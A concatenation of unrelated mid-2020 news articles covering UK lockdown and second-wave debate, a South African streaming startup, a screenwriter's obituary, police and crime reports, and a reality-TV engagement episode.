PEOPLE WERE SOCIAL DISTANCING BEFORE LOCKDOWN - BUT NOT SHIELDING Survey data presented by the SAGE sub-group SPI-B on March 22, the day before lockdown, found people were already taking many of the measures themselves. Some 62 per cent of people under the age of 70 said they had already stopped going to pubs, bars and restaurants. A further 52 per cent said they had stopped going to sports or hobby clubs, because of social distancing advice, along with 30 per cent who were by then working from home. Half of public transport users had stopped getting buses or trains to try and stop the spread of the virus. But SPI-B was concerned that between 37 and 54 per cent of the people most at risk from the coronavirus - those who are advised to 'shield' themselves - were still meeting up with friends and family. The report said: 'Although survey respondents report having stopped or cut down many behaviours, there appears to be room for social distancing to be increased still further.' Boris Johnson sent the UK into full lockdown the next day, March 23, and urged everyone to stay at home at all times except for essential journeys. Advertisement

HOW AN IMMUNOLOGICAL 'DARK MATTER' COULD PREVENT A SECOND WAVE Many scientists argue that lifting the lockdown will lead to a second wave - which some have warned will be even more lethal than the first - because millions of Brits have still yet to be infected and developed any form of immunity against the disease. But other top experts have challenged the claims, and one epidemiologist at Oxford University even claimed half of Britain has already been infected, even though official antibody sampling suggests fewer than 10 per cent have had it. This may be because millions of people have pre-existing immunity that means their immune system hasn't had to create Covid-specific antibodies, she says. Professor Gupta - whose initial prediction was rubbished by fellow scientists and says the virus has followed exactly the same trend worldwide regardless of lockdown policies - isn't the only one to warn of an immunological 'dark matter' that is stopping the virus from infecting as many people as once feared. Studies are beginning to add weight to the theory, with one suggesting people who have fought off the common cold may be protected from Covid-19. Researchers in California analysed 11 blood samples from people previously struck down with another type of coronavirus that causes a runny nose. Half of the samples contained disease-fighting T cells that recognised SARS-CoV-2 virus in the lab, and 20 per cent had cells that may able to kill the virus. The evidence, as well as studies showing the virus has taken the same trend across the world, has prompted some experts to dismiss the chances of a second wave. Advertisement

Professor Wood said: 'The most notable feature of the results is that fatal infections are inferred to be in substantial decline before lockdown.'

He said it was possible that social distancing 'might have done the trick' in bringing down Covid-19 cases and deaths without heavy-handed measures.

On March 16, the UK Government launched a public information campaign urging people to wash their hands and keep two metres (6'6') away from others.

Many Britons were already working from home, shops, restaurants and gyms were closing and large public gatherings had been banned.

He said it was difficult to be certain when infections peaked in Britain because widespread testing was abandoned in mid-March.

However his analysis also showed that Sweden's infections peaked just a few days after Britain, even without a lockdown.

It suggests the UK's crisis would have followed the same trajectory with the less severe social distancing rules.

Professor Wood said if a second wave hits Britain then ministers should consider 'ethical issues' of locking down again and whether it would claim more life than it saves.

Writing in the study, which is published on the open access research site arXiv but not yet scrutinised by other scientists, said a second lockdown could be disastrous for the nation's wellbeing.



He said: 'These facts have implications for the policies to be adopted in the coming autumn, particularly given the peculiar ethical issues associated with lockdown,'

'For example, plausible estimates of the life loss burden from an unmitigated Covid-19 epidemic in the UK are about two weeks per person.

'A plausible lower bound on the UK life loss from the 2008 financial crisis and its aftermath is seven weeks per person. The economic shock from lockdown is substantially larger than 2008.'

Commenting on the findings, Professor Carl Heneghan - a leading expert at the University of Oxford and staunch critic of the lockdown - said Professor Wood's analysis was in line with data from the Royal College of GPs (RCGP).

Professor Heneghan said RCGP figures show infection rates halved in the week beginning March 15 - at the time when social distancing was enforced.

He said ministers 'lost sight' of the evidence and rushed into a nationwide quarantine six days later after being instructed by scientific advisers who he claims have been 'consistently wrong' during the crisis.

Data shows the rate of Britons with upper respiratory tract infections dropped from 20 per 100,000 people on March 15 to around 12 per 100,000 just six days later.

The figures do not relate solely to coronavirus but may be a good indicator because so few people were being tested for the deadly infection.

Many scientists argue that lifting the lockdown will lead to a second wave - which some have warned will be even more lethal than the first - because millions of Brits have still yet to be infected and developed any form of immunity against the disease.

But other top experts have challenged the claims, and one epidemiologist at Oxford University even claimed half of Britain has already been infected, even though official antibody sampling suggests fewer than 10 per cent have had it.

This may be because millions of people have pre-existing immunity that means their immune system hasn't had to create Covid-specific antibodies, she says.

Professor Gupta - whose initial prediction was rubbished by fellow scientists and says the virus has followed exactly the same trend worldwide regardless of lockdown policies - isn't the only one to warn of an immunological 'dark matter' that is stopping the virus from infecting as many people as once feared.

Studies are beginning to add weight to the theory, with one suggesting people who have fought off the common cold may be protected from Covid-19.

Iran has reported a second wave of coronavirus infections as its daily case total hit a record high on Wednesday as lockdown eased - having previously been falling

'Professor Lockdown' admits Sweden may have suppressed Covid-19 to the same level but WITHOUT draconian measures The professor whose grim warning that 500,000 Brits may die from Covid-19 without action triggered lockdown has admitted Sweden may have suppressed its outbreak as well as Britain - without imposing the draconian measures. Professor Neil Ferguson, of Imperial College London, revealed he had the 'greatest respect' for the Scandinavian nation, which has managed to suffer fewer deaths per capita than the UK. He made the comments at a House of Lords Science and Technology Committee today during his first public appearance since flouting stay at home rules to have secret trysts with his married mistress last month. The epidemiologist - dubbed Professor Lockdown - has come under fire for his modelling which predicted half a million Britons could die from Covid-19 and heavily influenced the UK's decision to rush into a nationwide quarantine. Professor Ferguson appeared to praise Sweden for keeping infections low without the economically crippling curbs and said 'they have gone quite a long way to [achieving] the same effect'. But when he was grilled by peers about whether the measures were really necessary in the UK, he pointed out that Sweden's infection rate had not fallen as rapidly as the Britain's. Advertisement

Researchers in California analysed 11 blood samples from people previously struck down with another type of coronavirus that causes a runny nose.

Half of the samples contained disease-fighting T cells that recognised SARS-CoV-2 virus in the lab, and 20 per cent had cells that may able to kill the virus.

The evidence, as well as studies showing the virus has taken the same trend across the world, has prompted some experts to dismiss the chances of a second wave.

But this theory has been thrown into question today after Iran has become the first country in the world to report a second wave of coronavirus infections after easing its lockdown.

The Middle Eastern nation logged a record 3,574 cases of the virus on Wednesday, beating its previous worst day of 3,186 cases logged on March 30.

Iran began easing its lockdown restrictions - which were imposed in February as the virus ran rampant - in mid-April as the disease declined.

Cases began picking up again in early May and have now been above 3,000 for three days running, even as gyms and public offices were reopened at the weekend.

Iranian health officials have argued that the 'second wave' is actually the result of better testing and data-logging, after serious doubts were raised over the accuracy of its data when the virus first hit.

That is partially confirmed by the fact that the country's daily death figures have not been rising along with the infection total.

The state-run IRNA news agency reported 59 deaths on Wednesday, slightly below the May average of 60 deaths per day.

If the true number of infections including those not picked up in tests had been rising, then the number of deaths would be expected to follow suit.
How we interact with one another and the events that we attend have changed due to the Covid-19 pandemic. We're not going to be gathering together in person anytime soon. Fortunately, technology has played an indispensable role in connecting people and allowing many businesses to pivot their operations to offer their services and products online.

Brandon Muller James Coetzee

Can you tell us a bit about Send it?

What sparked the idea and when did you get started?

When Covid-19 hit, it gave us some nice breathing room to refocus our engineers on building out a whole new platform as opposed to servicing needs of existing clients.

What is the core function of Send it?

What are some of the obstacles you've had to overcome since starting out?

What services will you be providing?

Could you perhaps elaborate more about developing the platform?

We've been building this platform since the beginning of March and have a very long road map ahead. We're very proud of what we have achieved thus far.

The platform is free to use for now. How will you generate any revenue?

Will you need any assistance going forward?

Live streaming is quite a competitive market. What differentiates you from the competition? We're local, we provide excellent support, we're currently very competitive in terms of price, and we're an end-to-end solution for someone who is perhaps not that technical. What trends would we start seeing in the online streaming market?

We're firm of the view that the unfortunate outbreak of the coronavirus is going to ramp up the adoption of live streaming.

To support industries that have been negatively affected by South Africa's lockdown, a new, easy-to-use and proudly South African online video streaming platform, Send it , has recently launched and is currently free to use.The platform allows users to create and schedule live video streaming events. These events, such as cooking classes, concerts or online theatre, can be offered to audiences for free or at a cost."We want to help creators generate income during these uncertain times," explains Brandon Muller, co-founder of Send it. "We're aware of the devastating financial impact that Covid-19 has had on many industries, particularly those in events," he adds.Brandon Muller and James Coetzee, both serial entrepreneurs, have been involved in the eventing space for over eight years. They founded an internet solution company, Quick Connect Wireless, in 2012.The co-founders of Send it share more about the platform.Send it is a locally built, end-to-end live video platform; a tool for content creators to deliver free or paid-for-access streams to their audiences. Send it is also a service provider to corporates needing white-labelled live video delivery or video conferencing that can be reverse billed on all SA telco networks.We've been in the eventing industry for about eight years, delivering high capacity Wi-Fi networks. In doing that, we've done a lot of live streaming and came to learn of the shortcomings and pitfalls of other platforms in the space.Our main purpose is to provide live video delivery.Video tech is very difficult when building from first principles. There are a lot of open-source frameworks out there for video conferencing etc., but to do scalable few-to-many live video broadcasting is a challenging tech environment with an incredibly small margin of error. There is nowhere to hide during a live event if something breaks.Our offering is two-fold. For content creators, it's a platform to help kickstart an online revenue stream or grow an existing audience through live video. For companies, it's a fully customisable live video platform that is hosted in SA and can be reverse billed on local mobile networks.We have a dedicated team of three highly-skilled engineers working on the internal mechanics of the platform. We've brought in freelancers, where needed, for consultation on user experience design, load testing and some other minor components.We currently take a 5% fee for any payments going through our platform. In the future, we will charge creators for hosting larger events. Our commercial white-label offering is a paid service and thus will be the most significant cash-generating component.At some stage, we would like to launch on a global scale, but there are a few features we'd like added before we get there. We'll probably look to raise capital at that time.The streaming market globally is seeing a massive uptick. In the East, it's already an enormous industry and hasn't quite taken off elsewhere in the world.
Bruce Jay Friedman, an Oscar-nominated screenwriter who was best known for his comic novels and plays that veered from broad humor to uncomfortable encounters with the absurd, died June 3 at his home in Brooklyn. He was 90.

His wife, Patricia O'Donohue, said she did not know the precise cause of death, but Friedman had been hospitalized last month with an infection not related to the novel coronavirus.

Friedman had his major success in 1964 with "A Mother's Kisses," a coming-of-age novel about an underachieving Jewish teenager and his overbearing mother. The broad humor and underlying theme of unworthiness - cornerstones of that book - became hallmarks of Friedman's style, whether he was writing for the page or the stage.

In the loosely autobiographical novel, the central character is rejected by Columbia University: "He saw himself letting a year go by, then reapplying only to find himself regarded as a suspicious leftover fellow, his application tossed onto a pile labeled 'repeaters.' . . . Year after year would slip away, until finally, at thirty-seven, he would enter night school along with a squad of newly naturalized Czechs, sponsored by labor unions."

Instead of that dismal fate, his mother arranges for her son to attend a land-grant college in Kansas - and accompanies her son to school. The comic awkwardness in "A Mother's Kisses" prompted Saturday Review critic Daniel Stern to pronounced Friedman "a wild poet of the secret life, one of the funniest of writers but with a dark echo to the laughter that gets painfully close to the bone."

Even then, Friedman's mother told her son he'd be better off with a steady job - as, say, a Broadway press agent.

During the 1960s, Friedman became of the country's best-known writers and was often seen in the same literary light as his contemporary Philip Roth, who also published satirical explorations of Jewish life. In 1965, Friedman edited an anthology called "Black Humor," which contained edgy, sardonic writing by Joseph Heller, Donald Barthelme and Thomas Pynchon, among others.

"I don't really know if I invented" the term, Friedman told Newsday in 1995, "or if a publisher came to me and said, 'How about doing an anthology and calling it 'black humor'? . . . The next thing I know, black humor is being taught in college courses and becomes imprinted in the language."

He wrote a play, "Scuba Duba," about a man fearing that his vacationing wife is having an affair with a black man, that became an off-Broadway hit in 1967 and touched on sensitive racial questions. He contributed to the 1969 hit musical "Oh! Calcutta!," which was among the first plays to feature full nudity. He had another off-Broadway play in 1970, "Steambath," in which God is a Puerto Rican man handing out favors and punishment, along with the towels, at a public bath.

During the 1970s, Friedman also contributed to Esquire, including a popular series of essays from the perspective of "The Lonely Guy," which were collected in 1978 as "The Lonely Guy's Book of Life." (It was adapted into a 1984 film, "The Lonely Guy," with Steve Martin.)

An earlier story of Friedman's, "A Change of Plan," about a man who falls in love with another woman while on his honeymoon, was adapted by Neil Simon for a 1972 movie, "The Heartbreak Kid."

Beginning in 1974, Friedman published "About Harry Towns," the first of two novels about a screenwriter who spends most of his time snorting cocaine and striking out with women. He drew on his own experiences with Hollywood, although Friedman turned out to be more successful than his alter ego.

His screenwriting credits included the hit 1980 comedy "Stir Crazy" featuring Richard Pryor and Gene Wilder, "Doctor Detroit" (1983) with Dan Aykroyd, and "Splash" (1984), starring Tom Hanks and Daryl Hannah, for which Friedman and other writers received an Oscar nomination for best original screenplay.

Unlike some novelists who shunned Hollywood as a shallow and corrupting place, Friedman had no qualms about the work, or the paycheck that came with it. He later described his philosophy toward screenwriting as, "Take the money, scribble a bit, and enjoy the room service."

Bruce Jay Friedman was born April 26, 1930, in the Bronx. His father worked in the garment industry, and his mother was a homemaker who once sold tickets at a Broadway theater.

Friedman's first goal was to study medicine at Columbia University, but when he was rejected, he went to the University of Missouri - accompanied at first by his mother. He received a bachelor's degree in journalism in 1951, then served two years in the Air Force.

Back in New York, he joined a company that produced low-budget magazines for men, including Male, Man's World and True Action.

"We always wrote about battles," he told The Washington Post in 1977, "thousands of battles, 'Bombs Over Stuttgart, 'Bombs Over Dresden.' When we ran out of real battles, we made them up. We'd get all kinds of mail saying we'd gotten the designation of some armor outfit wrong, but no one ever said, 'Hey, there's no such battle.' "

During his 12 years at the publishing business, he hired Mario Puzo as a writer. They became close friends, even though Friedman suggested that Puzo's title for a forthcoming novel "sounds too domestic": "The Godfather."

Friedman published more than a dozen books and had eight plays produced. In 2011, he published a memoir, "Lucky Bruce," in which he described a social life that revolved around the Hamptons and regular trips to Elaine's in Manhattan. Kurt Vonnegut Jr., the author of "Slaughterhouse-Five," once asked him, "Can you teach me how to hang out?"

Once, when Friedman was attending a party at writer Norman Mailer's house, the two got in an argument. Mailer head-butted Friedman as Mailer's wife shouted encouragement: "Kill the bastard, Norman!"

Friedman won the fistfight, but Mailer bit him in the neck. Friedman had to go to a hospital for a tetanus shot.

His first marriage, to Ginger Howard, ended in divorce. Survivors include his wife of 37 years, O'Donohue, of Brooklyn; three sons from his first marriage, Josh Alan Friedman, Drew Friedman and Kipp Friedman; a daughter from his second marriage, Molly Stout; and three grandchildren.

In his memoir, Friedman described his early years as a writer, contributing to the New Yorker, Playboy and other magazines. His debut novel, "Stern," a comic look at the doubts, fears and failings of a young Jewish man, was published in 1962, several years before Roth's "Portnoy's Complaint." The book was a literary success, if not a bestseller.

"I suspect the reason Friedman's fresh novel produced such happy hysteria," writer Dan Wakefield wrote in The Washington Post in 1989, "was that no one before had been quite so willing to deal humorously with the most embarrassing fears and fantasies of the American male, from sexual to financial . . . no one had yet made marvelous jokes out of such material until Friedman came along and exposed the other side of macho as jello."

Friedman wrote the novel while commuting to and from his job as editor of the men's magazines.

"I recall writing the book in a heat," he wrote in "Lucky Bruce," "as if I was being chased down an alley."

Only 6,000 copies were sold, but Friedman's editor said they were "the right copies," read by influential people.

"Would it have been so awful," Friedman mused, "to sell a few hundred thousand of the 'wrong' copies?"
Peace Busari, the Nigerian lady placed for sale on social media in Lebanon has refused to return to Nigeria. This was disclosed by t...

Peace Busari, the Nigerian lady placed for sale on social media in Lebanon has refused to return to Nigeria.





This was disclosed by the Chairman of the Nigerian Diaspora Commission (NiDCOM), Abike Dabiri-Erewa.





Abike Dabiri-Erewa made this known during an interaction with the Lebanese Ambassador to Nigeria, Houssan Diab.





Dabiri-Erewa said: As for the young Nigerian lady that we were able to save, who was advertised for $1,000, the Ambassador has told us that the culprit is actually a resident in Lebanon. However, the lady is still with the mission. In fact, she has got another job. But the reality is that she said she does not want to come back and she said she has found another job.

I spoke to her myself on the phone and I told her that if she gets into any trouble, there will be nobody to call. But she said she does not want to come back, that she has found another job.





Even the Secretary to the State Government (SSG) of Oyo State, where she is from, spoke to her. We just hope that Nigerians going to work in Lebanon will be properly treated and not treated as slaves.





As the ambassador said, the issue of work permit will be properly looked into. Agents are there collecting and making money and not seeing to the welfare of these people who are going to work.
No actor has every played a superhero on the big-screen longer than a decade. Christopher Reeve played Superman for nine years and through four films. Since then, most superhero movies have a new rotation of actors every few years, Batman notwithstanding.

In the MCU, things might be a little different, particularly for Spider-Man. This might sound unbelievable when Spider-Man has already had three young actors play the role in live-action form over the last 18 years.

If one can say Robert Downey Jr. broke the mold for playing a superhero (Iron Man) beyond 10 years, all possibility exists Tom Holland may do the same.

Fans are speculating just how long he can play the part. A triple trilogy is already a fan wish list.

Tom Holland has said he would play Spider-Man for years to come

Tom Holland | Gareth Cattermole/Getty Images for Disney

RELATED: The 4 Most Plausible Reasons Tom Holland Beat Out the Competition When Auditioning For Spider-Man in the MCU

Nobody needs to worry about Holland voluntarily moving on from playing Spider-Man. He was absolutely born to play the role of Peter Parker, and he seems to almost own it.

His emotional reaction to the Marvel-Sony split this last year is a good example of how important playing Spider-Man is to his creative well-being. Maybe some will think this a tad obsessive to place the Spidey role in such a profound context.

Then again, Holland personifying the role is what makes him more believable on an emotional scale. No doubt fans are going to see some powerfully dramatic scenes with Holland as Parker tries to navigate being exposed in Spider-Man 3.

Playing the role beyond there, though, is something fans on Reddit think should go on even longer than Downey played Iron Man.

Should there really be a triple trilogy for Spider-Man?

As one Reddit user says about additional films:: Ideally: Nine. Three high-school, three college, three adult. Let Tom age naturally into the role and become the new RDJ.

Yes, there is a good argument there for letting Peter Parker finally move out of his high school years. Considering Holland is already 24, having him continue to be in high school will soon start to become a joke. Seeing him evolve as he becomes older would be a major asset to the MCU (and Sony) anyway.

Regardless of whether future films would be done for the MCU or at Sony (or both), no one should doubt Hollands version of Spider-Man is the most interesting ever. Seeing him go to college and eventually become an adult would offer some of the best character development ever seen in a superhero franchise.

Much like everyone saw with Iron Man going from egotistical killing machine to a thoughtful and sacrificial figure, such long arcs are more than worth doing.

Will Marvel let Tom Holland play Spider-Man for life?

RELATED: Tom Holland Is Pushing For Another Spider-Man Alum to Join the Marvel Cinematic Universe

Something even more potentially interesting is the idea of Tom Holland being the only Spider-Man for the foreseeable future. Movie studios have always balked at this, merely out of fear of thinking audiences would become bored with the same actor in a role.

Thanks to the MCU having the power to do whatever they want creatively, things might work out differently. If Peter Parker still feels lost without Tony Stark around as mentor, seeing how he grapples with it and evolves into becoming a leader like Stark would interest numerous fans.

All possibility exists Parker will interact with Stark again anyway, or maybe an AI version if Robert Downey, Jr. returns to the role. With or without him, seeing Parker go at it alone and taking on the Sinister Six eventually would provide years of great character exploration.

Perhaps the MCU will go beyond what has ever been done and have Holland play Spider-Man into old age. Seeing him portray the issues that come with being a superhero while dealing with aging is still a daring concept waiting to be created.
An Oregon police officer appeared to tell a group of armed white supremacists that they needed to get inside a building before officers tear-gassed Black Lives Matter protesters, telling them he didn't want people to see him 'playing favorites.'

The shocking footage was filmed in front of the Glamour Salon in Salem, where members of alt-right group Patriot Prayer have been stationed with other armed men since owner Lindsey Graham reopened against government orders for the pandemics.

Demonstrators have been peacefully protesting for several days in the city, following the death of George Floyd and Breonna Taylor at the hands of police brutality. While most protesters have been peaceful, there have been agitators looking to incite violence and chaos.

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The shocking footage was filmed in front of the Glamour Salon in Salem, where members of alt-right group Patriot Prayer have been stationed

In the brief clip, the officer can be heard calmly speaking to the group of men as he explains that they should head inside.

'My command wanted me to come talk to you guys and request that you guys discreetly remain inside the building or your vehicles, somewhere where its not in violation,' the officer tells the group.

'So we don't look like we are playing favorites.'

Joe Smothers, a Salem resident, filmed the back-and-forth on his livestream for the protests. An extended clip shows the officer telling the men about the escalating violence in the city: 'which we know did not involve you guys at all,' the Statesmen Journal reports.

Demonstrators have been peacefully protesting for several days in the city, following the death of George Floyd and Breonna Taylor

In the brief clip, the officer can be heard calmly speaking to the group of men as he explains that they should head inside

In a video message to the city on Wednesday, Salem Police Chief Jerry Moore shared that he had received an influx of calls and emails 'decrying the words that were spoken' by the officer.

'The message we have received is a concern that we are treating people differently. For that, I tell you, I am sorry,' Moore said.

In a video message to the city on Wednesday, Salem Police Chief Jerry Moore shared that he had received an influx of calls and emails 'decrying the words that were spoken' by the officer

'Sorry that there is even a thought that this department would treat some different from others.'

Moore stressed that he personally knew the officer and claimed that the law enforcer had 'dedicated his life to this community.'

'The impact the interactions seen on the video had on our community, have been discussed with the officer,' Moore continued. 'Unfortunately, he had not been fully briefed about enforcement of the curfew, before speaking with the group.

'Moving forward, all officers tasked with enforcing the curfew will be properly educated before deployment.'

Moore then appeared to support the officer's handling of the altercation, saying that cops 'police behaviors in situations, not individuals.'

He added: 'Lawfully armed individuals, violating a curfew, does differ in severity, from people throwing bricks and bottles during an otherwise peaceful demonstration.'

The police chief stressed that police would be acting 'without favoritism or bias.'
A fitness fan has been awarded $500,000 in compensation after she slipped a disc moving a heavy weight at the gym.

Jacqueline Powell, 42, was awarded $551,000 after injuring her back at the New Dimensions Health and Fitness Centre at Leonay in Western Sydney in February 2016.

Judge Leonard Levy SC told New South Wales District Court that the gym had acted negligently after leaving weights 'strewn and scattered' on the floor 'in circumstances of hazardous mess and untidiness'.

Jacqueline Powell, 42, was awarded $551,000 after injuring her back at the New Dimensions Health and Fitness Centre at Leonay in Western Sydney in February 2016

The mother-of-three suffered a slipped disc in her back when she attempted to tidy away the weights before doing her own workout, reported the Daily Mercury.

Ms Powell she still suffers pain after the incident which can make it difficult to 'get through the day'.

The court heard how Ms Powell picked up the 25kg weight using a 'load bearing lift' before turning around to put it on the rack.

The twisting motion resulted in her feeling an 'immense and intense pain' in her lower back, which she initially assumed was a strain.

Medical tests later confirmed the act of lifting the weight had resulted in a L4/5 disc protrusion, requiring four separate surgeries since the accident four years ago.

The court heard Ms Powell picked up the 25kg weight using a 'load bearing lift' before turning around to put it on the rack

The New Dimensions Health and Fitness Centre in Western Sydney was found negligent for failing to provide a safe space to workout in.

Gym equipment including two weight bars and a least six weight plates were left on the floor on the day of Ms Powell's injury, after the popular 'tradies hour'.

Judge Levy said the gym was responsible for failing to clean up the equipment.

He said the injury could have been avoided if the operators had taken care to ensure the space was free of obstructions.

Australia's leading compensation firm Maurice Blackburn principal Dimi Ioannou said this should serve as a warning to gym owners across the country.

'Gym owners and operators have a responsibility to make sure they keep the place safe for their members, and a safe environment at all times,' she said.
Authorities are investigating two homicides in Jefferson County, one in Birmingham and one in Bessemer.

The Jefferson County Coroners Office identified one of the victims as Corey Dewayne Alexander. Birmingham police later Friday identified the second victim as Robert Lee Prowell Jr., 22.

In Birmingham, police and fire medics responded at 2:30 a.m. Thursday to the 800 block of Sixth Street S.W. When they arrived on the scene, they found Prowell lying in the middle of the roadway. He had been shot multiple times.

He was pronounced dead at 6:09 a.m. Police say they have limited detail in the investigation and are seeking the publics help.

In Bessemer, the 20-year-old Alexander died at 2:13 p.m. Thursday at UAB Hospital.

The shooting happened at 11:30 a.m. in the 1600 block of 25th Street in Bessemer. Lt. Christian Clemons said there was a shootout over a woman that led to 100 shots being fired from five different weapons. Four people were shot, including Alexander.

All left the scene by private vehicle. Three went to UAB West and one to UAB Hospital downtown. Alexander was airlifted from UAB West to UAB downtown where died.

Clemons said no arrests have yet been made, but police believe they have all of those involved.
Source: Xinhua| 2020-06-05 14:31:58|Editor: huaxia

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YANGON, June 5 (Xinhua) -- A total of 663 hotels, about one-third of the hotels in Myanmar, reopened across regions and states so far after temporary suspension due to the COVID-19 pandemic, an official from the Hotels and Tourism Ministry told Xinhua late Thursday.

"There are 2,053 hotels operating in the country and one-third of them have reopened after getting health and safety inspection passes by the authorities concerned as of May 29," said Deputy Director General U Aung Aye Han of the ministry.

As of May 29, Yangon region topped the list with 284 re-operating hotels, followed by Shan state with 94 hotels while hotels in Mandalay region, Chin and Kachin states have not been reopened.

Putting health in first place, the ministry has been exerting efforts for tourism development and for the convenience of the travellers in the country, the official said.

Meanwhile, due to the COVID-19 pandemic, tourist arrivals in Myanmar had dropped by 45 percent in the first four months of this year, compared to the corresponding period of last year, U Hlaing Oo, deputy permanent secretary of the ministry told Xinhua recently.

As part of measures to curb the spread of COVID-19, the Foreign Affairs Ministry also extended temporary entry restrictions for travellers from all countries until June 15. Enditem
Founder of well-known Russian brands arrested in absentia on fraud charges

 RAPSI, Vladimir Burnov

12:07 05/06/2020

MOSCOW, June 5 (RAPSI)  Moscows Khoroshevsky District Court on Friday issued an arrest warrant for the founder of well-known brands Dovgan and Smak Herman Lillevyali in absenta on fraud allegations, RAPSI learnt from the courts press service.

The businessman is to be placed in detention for 2 months after his extradition or arrest in Russia. Earlier, he was put on the international wanted list.

Lillevyali is charged with large-scale fraud. The case details have not been disclosed yet.

In 1995, the businessman founded Licomp Holding engaged in the development of such trademarks as Dovgan and Smak as well as in financial and banking business. In 2005, he established the Capital Financial Group investment company and personally headed it from 2005 to 2010. In 2013, he joined his assets within GL Financial Group specialized in market neutral strategies including statistical arbitrage.
Nikki Bella said 'yes' to Artem Chigvintsev's proposal on Thursday's episode of Total Bellas.

Artem, 37, popped the question on her birthday, which they celebrated at a castle in Burgundy, France, with six members of their families in attendance.

He suggested that Nikki, 36, join him on a tour of the castle, and handed her a rose as they walked, telling her it was 'just the beginning.'

Nikki's twin sister had hinted all episode that she was feeling 'off' before revealing at the end that she was pregnant and expecting her second child with her pro wrestler husband Daniel Bryan (real name Bryan Danielson).

I do: Nikki Bella said 'yes' to Artem Chigvintsev's proposal on Thursday's episode of Total Bellas

Expecting: Nikki's twin sister had hinted all episode that she was feeling 'off' before revealing at the end that she was pregnant and expecting her second child with her pro wrestler husband Daniel Bryan (real name Bryan Danielson)

She heard the distant strains of an orchestra, and walked to a nearby curtain, closing her eyes.

When Artem pulled back the curtain, Nikki saw a circle of rose petals on the floor, candles lit everywhere, and an orchestra playing just for them.

Artem pulled her into a dance, and the musicians stopped playing as he looked intently at her.

Curtain: She heard the distant strains of an orchestra, and walked to a nearby curtain, closing her eyes

Orchestra: When Artem pulled back the curtain, Nikki saw a circle of rose petals on the floor, candles lit everywhere, and an orchestra playing just for them

Intentlyk: Artem pulled her into a dance, and the musicians stopped playing as he looked intently at her

He called their meeting on Dancing with the Stars 'fate,' adding, 'The thing is when I fell in love with you, it was completely out of my control.'

'There is a saying that love is a singular soul inhabiting two bodies,' Artem continued. 'You turned my world upside-down in the most incredible way, and I love you so, so much.'

'I don't there's words can describe how you make me feel, and how much I love you. I want to spend every sunset and every sunrise with you.'

Fate: He called their meeting on Dancing with the Stars 'fate,' adding, 'The thing is when I fell in love with you, it was completely out of my control'

Fate: 'There is a saying that love is a singular soul inhabiting two bodies,' Artem continued. 'You turned my world upside-down in the most incredible way, and I love you so, so much'

Close: 'I don't there's words can describe how you make me feel, and how much I love you. I want to spend every sunset and every sunrise with you'

'Artem, what are you doing?' Nikki asked him warily, as the dancer knelt down and took the emerald-cut ring out of his pocket.

'Artem, no,' Nikki blurted, as her boyfriend of a year smiled confidently back at her.

'What I'm trying to say is, 'Will you marry me?' he offered.

Knelt: 'Artem, what are you doing?' Nikki asked him warily, as the dancer knelt down and took the emerald-cut ring out of his pocket

'Oh my gosh,' Nikki replied, covering her mouth in shock. 'Yes. Oh my goodness. Are you serious right now?'

She hugged Artem, who lifted her into his arms and said, 'Now I can breathe.'

'Can I see the ring?' Nikki teased him, as their relatives came forward into the room, yelling, 'Yaaaay!'

Yes: 'Oh my gosh,' Nikki replied, covering her mouth in shock. 'Yes. Oh my goodness. Are you serious right now?'

Breathe: She hugged Artem, who lifted her into his arms and said, 'Now I can breathe'

Nikki's engagement wasn't the only surprise of the show, as Brie Bella, 36, also revealed she was pregnant.

She had long seemed fine with the fact that she and her husband Bryan Danielson, 39, had just one child, their three-year-old Birdie.

But after a recent trip to Sedona, Arizona, reignited their romantic flame, the two quickly got pregnant again.

Pregnant: Nikki's engagement wasn't the only surprise of the show, as Brie Bella, 36, also revealed she was pregnant

Parents: She had long seemed fine with the fact that she and her husband Bryan Danielson, 39, had just one child, their three-year-old Birdie

It had taken them a year to conceive Birdie, while the new baby happened after they had sex twice.

When Nikki saw Brie after the France trip, she shared that she'd been having an odd feeling she should take a pregnancy test.

'I'm not even late on my period, but I just keep visualizing it,' she confessed to her sister.

Fast: It had taken them a year to conceive Birdie, while the new baby happened after they had sex twice.

Late: 'I'm not even late on my period, but I just keep visualizing it,' she confessed to her sister

'I can probably guess why,' Brie said, pointing out that as twins, they often felt what the other one was going through.

Nikki immediately caught on, and beamed as Brie said she knew something was 'off' in France.

She handed over a positive pregnancy test, and Nikki cried, 'Are you f***ing serious?'

Guess: 'I can probably guess why,' Brie said, pointing out that as twins, they often felt what the other one was going through.

Test: She handed over a positive pregnancy test, and Nikki cried, 'Are you f***ing serious?'

The episode had begun with the Bellas jetting off to France on a business trip for their wine brand, Bella Radici, joined by Artem and their close relatives.

Nikki had never met Artem's family before, and was 'really nervous,' even trying to learn Russian to impress them.

For his part, Artem was 'super-emotional' about seeing his parents, as he had left home at age 15 to pursue dance and hadn't visited them in six years.

Family: The episode had begun with the Bellas jetting off to France on a business trip for their wine brand, Bella Radici, joined by Artem and their close relatives

Parents: For his part, Artem was 'super-emotional' about seeing his parents, as he had left home at age 15 to pursue dance and hadn't visited them in six years

Also along for the trip were the Bellas' mother, Kathy Laurinaitis, their brother J.J., and sister-in-law Lauren.

Language barrier aside, the families got on famously and toured the countryside together, stopping at various wine caves so the Bellas could pick blends for their label.

In one interlude, Artem officially asked Kathy for her permission to marry Nikki.

In-laws: Also along for the trip were the Bellas' mother, Kathy Laurinaitis, their brother J.J., and sister-in-law Lauren

Permission: In one interlude, Artem officially asked Kathy for her permission to marry Nikki

'I feel like it's time, and I feel very ready, and I'm going to go with my gut feeling,' he said, as they walked toward the castle where he planned to propose the next day.

'I would feel very blessed to have you as a son-in-law,' Kathy replied. 'I see how you take care of my daughter. I see, in both of your eyes, how much you both love each other.'

'At least you weren't bringing me out here to tell me I was going to be a grandmother again,' she cracked, unaware that weeks later Nikki would find out she was pregnant.

It's time: 'I feel like it's time, and I feel very ready, and I'm going to go with my gut feeling,' he said, as they walked toward the castle where he planned to propose the next day

Blessed: 'I would feel very blessed to have you as a son-in-law,' Kathy replied. 'I see how you take care of my daughter. I see, in both of your eyes, how much you both love each other'

The sisters are reportedly due within a week-and-a-half of one another, in late July and early August 2020.

Brie brought the engagement ring to France for Artem, who flew out before it could be set.

At one point, Nikki caught Artem and Brie whispering about the proposal, but seemed clueless.

Still, Brie felt she had to call for reinforcements, and told J.J. and Lauren what was going on.

Reinforcements: Still, Brie felt she had to call for reinforcements, and told J.J. and Lauren what was going on

Before she could say a word, Lauren asked, 'Are you pregnant?' and Brie said, 'I could be. I feel a little nervous, but I think it might be all the wine.'

Privately, she admitted, 'Here I am in this magical place, and I feel awful. I feel like I can't handle smells, I feel just physically off.'

